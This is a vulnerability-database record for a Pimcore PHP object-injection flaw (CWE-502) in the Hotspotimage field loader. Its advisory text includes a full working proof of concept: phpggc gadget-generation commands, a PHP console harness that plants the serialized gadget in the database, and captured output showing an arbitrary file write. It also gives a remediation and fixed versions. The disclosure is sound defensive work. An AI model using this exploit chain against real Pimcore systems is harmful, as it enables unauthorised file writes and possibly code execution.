{"id":"CVE-2026-55220","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55220","summary":"Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)","details":"## Summary\n\n`Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\\Tool\\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper's `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. `guzzlehttp/guzzle`).\n\nThe same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument.\n\n## Severity\n\nHigh. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.\n\n## Affected component\n\n- File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`.\n- Vulnerable lines (v2026.1.4 / v12.3.8):\n  ```php\n  $metaData = $data[$this->getName() . '__hotspots'];\n  // check if the data is JSON (backward compatibility)\n  $md = json_decode($metaData, true);\n  if (!$md) {\n      $md = Serialize::unserialize($metaData);   // unrestricted: allowed_classes defaults to true\n  } elseif (is_array($md)) {\n      $md['hotspots'] = $md;\n  }\n  ```\n- Root enabler: `lib/Tool/Serialize.php`\n  ```php\n  public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed\n  {\n      if ($data === null || $data === '') { return $data; }\n      return unserialize($data, ['allowed_classes' => $allowedClasses]);  // default true = unrestricted\n  }\n  ```\n- Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\\ClassDefinition\\Data).\n- Package: `pimcore/pimcore` (Composer).\n- Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`).\n\n## Data flow\n\n1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `<field>__hotspots` object-store column — i.e. PHP serialized bytes, not JSON.\n2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list.\n3. `Serialize::unserialize()` invokes `unserialize($data, ['allowed_classes' => true])`, instantiating any class named in the bytes and triggering its magic methods.\n4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null `<field>__image`.\n\nThe attacker primitive is the ability to place crafted serialized bytes into the `<field>__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.\n\n## Proof of Concept\n\nVerified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore's own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\\Cookie\\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).\n\nGadget generation (476→474 raw bytes, non-JSON so the `unserialize` fallback is taken):\n```\nprintf 'PWNED_BY_DESERIALIZATION_%s' \"$(date +%s)\" > /tmp/ggc_local_src.txt\n./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\\n' > /tmp/ggc_guzzle_fw1.ser\n# stored bytes begin: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{...\n```\n\nReproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_<id>.img__hotspots`, then reloads the object through the real Pimcore model layer):\n```php\n<?php\ndeclare(strict_types=1);\nnamespace App\\Command;\n\nuse Pimcore\\Db;\nuse Pimcore\\Model\\Asset;\nuse Pimcore\\Model\\DataObject;\nuse Pimcore\\Model\\DataObject\\ClassDefinition;\nuse Symfony\\Component\\Console\\Attribute\\AsCommand;\nuse Symfony\\Component\\Console\\Command\\Command;\nuse Symfony\\Component\\Console\\Input\\InputInterface;\nuse Symfony\\Component\\Console\\Input\\InputOption;\nuse Symfony\\Component\\Console\\Output\\OutputInterface;\n\n#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]\nfinal class E2eHotspotCommand extends Command\n{\n    protected function configure(): void\n    {\n        $this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');\n        $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');\n    }\n\n    protected function execute(InputInterface $input, OutputInterface $output): int\n    {\n        $o = fn (string $m) => $output->writeln($m);\n        $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');\n        $target = '/tmp/pimcore_pwned_hotspot.txt';\n        @unlink($target);\n\n        $o('=== STEP 1: create DataObject class with a Hotspotimage field ===');\n        $class = ClassDefinition::getByName('E2eHotspot');\n        if (!$class) {\n            $class = new ClassDefinition();\n            $class->setName('E2eHotspot');\n            $class->setGroup('e2e');\n            $field = new ClassDefinition\\Data\\Hotspotimage();\n            $field->setName('img');\n            $field->setTitle('img');\n            $panel = new ClassDefinition\\Layout\\Panel();\n            $panel->setName('Layout');\n            $panel->addChild($field);\n            $class->setLayoutDefinitions($panel);\n            $class->save();\n        }\n        $o('  class id=' . $class->getId());\n\n        $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');\n        $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');\n        $asset = Asset::getByPath('/e2e_pixel.png');\n        if (!$asset) {\n            $asset = new Asset\\Image();\n            $asset->setFilename('e2e_pixel.png');\n            $asset->setParent(Asset::getById(1));\n            $asset->setData($png);\n            $asset->save();\n        }\n        $o('  asset id=' . $asset->getId());\n\n        $o('=== STEP 3: create+save object carrying that image ===');\n        $obj = DataObject::getByPath('/e2e_obj');\n        if (!$obj) {\n            $fqcn = '\\\\Pimcore\\\\Model\\\\DataObject\\\\' . $class->getName();\n            $obj = new $fqcn();\n            $obj->setKey('e2e_obj');\n            $obj->setParent(DataObject::getById(1));\n            $obj->setPublished(true);\n            $obj->setValue('img', new DataObject\\Data\\Hotspotimage($asset));\n            $obj->save();\n        }\n        $objId = $obj->getId();\n        $store = 'object_store_' . $class->getId();\n        $o('  object id=' . $objId . '  store=' . $store);\n\n        $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');\n        $db = Db::get();\n        $payload = $input->getOption('benign')\n            ? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])\n            : $gadget;\n        $db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);\n        $stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);\n        $o('  stored prefix: ' . substr($stored, 0, 60));\n        $o('  json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . '  (=> unserialize fallback)');\n\n        $o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');\n        \\Pimcore\\Cache::clearAll();\n        \\Pimcore\\Cache\\RuntimeCache::clear();\n        $o('  target file before load exists? ' . var_export(file_exists($target), true));\n\n        if ($input->getOption('restricted')) {\n            $o('  [negative control] fixed wrapper allowed_classes=false on the same bytes');\n            $res = @unserialize($stored, ['allowed_classes' => false]);\n            $o('  returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));\n            gc_collect_cycles();\n        } else {\n            try {\n                $reloaded = DataObject\\Concrete::getById($objId, ['force' => true]);\n                $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load\n                $o('  reloaded class=' . get_class($reloaded));\n                unset($reloaded);\n            } catch (\\Throwable $e) {\n                $o('  (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());\n            }\n            gc_collect_cycles();\n        }\n\n        $o('=== RESULT ===');\n        clearstatcache();\n        if (file_exists($target)) {\n            $o('  [VULNERABLE] gadget file WRITTEN: ' . $target);\n            $o('  contents: ' . trim((string) file_get_contents($target)));\n        } else {\n            $o('  [NOT TRIGGERED] target file absent');\n        }\n        return Command::SUCCESS;\n    }\n}\n```\n\nCaptured output — RUN A (positive, gadget):\n```\n=== STEP 1: create DataObject class with a Hotspotimage field ===\n  class id=1\n=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===\n  asset id=2\n=== STEP 3: create+save object carrying that image ===\n  object id=4  store=object_store_1\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n  json_decode(stored) === null ? true  (=> unserialize fallback)\n=== STEP 5: clear cache + reload object => getDataFromResource() ===\n  target file before load exists? false\n  (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\\Cookie\\FileCookieJar as array\n=== RESULT ===\n  [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt\n  contents: [{\"Expires\":1,\"Discard\":false,\"Value\":\"PWNED_BY_DESERIALIZATION_1780420803\"}]\n```\n\nCaptured output — RUN B (negative control, benign JSON in the column):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  [negative control] storing benign JSON\n  stored prefix: {\"hotspots\":[],\"marker\":[],\"crop\":[]}\n  json_decode(stored) === null ? false  (=> unserialize fallback)\n=== STEP 5: clear cache + reload object => getDataFromResource() ===\n  target file before load exists? false\n  reloaded class=Pimcore\\Model\\DataObject\\E2eHotspot\n=== RESULT ===\n  [NOT TRIGGERED] target file absent\n```\n\nCaptured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n  json_decode(stored) === null ? true  (=> unserialize fallback)\n=== STEP 5: clear cache + reload object => getDataFromResource() ===\n  target file before load exists? false\n  [negative control] fixed wrapper allowed_classes=false on the same bytes\n  returned type=object class=__PHP_Incomplete_Class\n=== RESULT ===\n  [NOT TRIGGERED] target file absent\n```\n\nRUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\\Cookie\\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs — i.e. the proposed fix neutralizes the attack.\n\n## Impact\n\nPHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.\n\n## Remediation\n\nMake `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.\n\nPreferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place):\n```php\npublic static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed\n```\n(i.e. flip the default to `false`, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass `['allowed_classes' => false]` (or a tight allowlist such as `[MarkerHotspotItem::class]`) explicitly. RUN C above confirms `allowed_classes` deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1","published":"2026-08-28T19:13:25Z","modified":"2026-08-28T19:30:07.459807203Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"2026.1.6"},{"ecosystem":"Packagist","name":"pimcore/pimcore","fixedVersion":"12.3.10"}],"fix":{"url":"https://github.com/pimcore/pimcore/pull/19181","label":"pimcore/pimcore#19181"},"references":[{"type":"WEB","url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-w23p-wrp7-ch38"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/pull/19181"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/commit/b184c01bf11e213e601d965b4e96c8bb7248e980"},{"type":"PACKAGE","url":"https://github.com/pimcore/pimcore"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/releases/tag/v12.3.10"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-28T19:30:07.459807203Z"}}